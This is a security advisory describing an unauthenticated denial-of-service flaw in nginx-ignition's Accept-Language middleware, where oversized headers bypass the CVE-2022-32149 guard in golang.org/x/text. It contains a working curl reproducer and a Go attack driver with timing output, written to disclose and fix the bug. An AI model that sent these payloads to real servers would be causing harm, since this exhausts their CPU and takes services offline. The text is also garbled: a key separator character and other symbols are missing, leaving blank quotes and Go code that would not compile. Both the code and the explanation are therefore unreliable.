GHSA-jr34-h97m-9hpx: High severity go/github.com/lucasdillmann/nginx-ignition vulnerability

Summary

The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap characters even though the parser's internal scanner aliases to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:

- the official dillmann/nginx-ignition:latest Docker image at v2.40.0 (E2E below) - main at commit faef4c99442b329cfa4ee8879bdba41c22866a18 by reading api/common/server/i18n.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.

Vulnerable code

api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):

go func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc { return func(ginCtx gin.Context) { lang := commands.DefaultLanguage()

langHeader := ginCtx.GetHeader("Accept-Language") tags, , err := language.ParseAcceptLanguage(langHeader) if err == nil && len(tags) > 0 { for , tag := range tags { if commands.Supports(tag) { lang = tag break } } }

//nolint:staticcheck updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang) ginCtx.Request = ginCtx.Request.WithContext(updatedCtx) ginCtx.Set(i18n.ContextKey, lang) ginCtx.Next() } }

ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count characters even though the scanner converts to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:

1. The request enters i18nMiddleware. 2. ginCtx.GetHeader("Accept-Language") returns the full attacker-supplied header value. 3. language.ParseAcceptLanguage(langHeader) runs unfiltered.

No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:

bash docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest sleep 5

PAYLOAD="en$(python3 -c 'print("abcdefghi" 100000, end="")')" echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \ -w 'http=%{httpcode} t=%{timetotal}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18090/api/health

Each 9-character abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with (guard bypassed):

go // poc.go package main

import ( "fmt" "io" "net" "net/http" "strings" "time" )

const targetURL = "http://127.0.0.1:18090/api/health"

func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() }

func send(label, header string) { client := &http.Client{ Timeout: 60 time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 time.Second}).DialContext, }, } req, := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } , = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B ''=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, ""), strings.Count(header, "-"), resp.StatusCode, dt) }

func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('' x 1MiB)", buildPayload("", 1<<20)) send("attack repeat 2", buildPayload("", 1<<20)) send("attack repeat 3", buildPayload("", 1<<20)) }

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):

E2E: golang/x/text ParseAcceptLanguage '' bypass through lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at api/common/server/i18n.go.

Target: http://127.0.0.1:18090/api/health payload=1048576 B

warm-up header=0 B ''=0 '-'=0 status=404 t=10.336041ms

--- measurements (single request each) --- baseline (no header) header=0 B ''=0 '-'=0 status=404 t=4.211583ms baseline (1 short tag) header=5 B ''=0 '-'=1 status=404 t=3.276416ms guard-fires control ('-' x payload) header=1048572 B ''=0 '-'=104857 status=404 t=31.683792ms attack ('' x payload) header=1048572 B ''=104857 '-'=0 status=404 t=2.429408875s attack repeat 2 header=1048572 B ''=104857 '-'=0 status=404 t=3.589948166s attack repeat 3 header=1048572 B ''=104857 '-'=0 status=404 t=2.415860875s

Interpretation:

| Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 3 - 11 ms | | 1 MiB - separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms | | 1 MiB separators (guard bypassed) | 1 MiB | 2.4 - 3.6 s |

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).

Impact

- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths). - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely. - The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not. - Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.

Suggested fix

Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count alongside - and short-circuit when the total exceeds a small ceiling:

go // api/common/server/i18n.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc { return func(ginCtx gin.Context) { lang := commands.DefaultLanguage()

langHeader := ginCtx.GetHeader("Accept-Language") if strings.Count(langHeader, "-")+strings.Count(langHeader, "") > maxAcceptLanguageSeparators { // Refuse to call into the BCP 47 parser with absurd input. langHeader = "" } tags, , err := language.ParseAcceptLanguage(langHeader) if err == nil && len(tags) > 0 { for , tag := range tags { if commands.Supports(tag) { lang = tag break } } }

//nolint:staticcheck updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang) ginCtx.Request = ginCtx.Request.WithContext(updatedCtx) ginCtx.Set(i18n.ContextKey, lang) ginCtx.Next() } }

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.